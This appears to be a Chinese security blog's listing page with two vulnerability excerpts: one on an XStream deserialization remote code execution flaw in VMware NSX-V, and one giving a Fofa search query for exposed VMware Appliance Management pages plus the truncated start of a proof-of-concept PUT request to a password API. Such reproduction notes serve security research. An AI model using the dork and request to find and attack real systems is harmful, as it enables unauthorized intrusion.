Hack All Sec 的博客

简介由于在 VMware Cloud Foundation (NSX-V) 中使用 XStream 进行序列化而未经身份验证，黑客可以构造恶意数据包从而造成远程代码执行漏洞。VMware Cloud Foundation 3.x 和更具体的 NSX Manager Data Center for vSphere 6.4.13 及更高版本容易受到远程命令执行的攻击。利用该漏洞可获得 root 权限。

- 阅读全文 -

Fofa语法title="VMware Appliance Management"漏洞复现访问页面：Poc：PUT /api/2.0/services/usermgmt/password/abc HTTP/1.1 Host: {{Host}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTM

- 阅读全文 -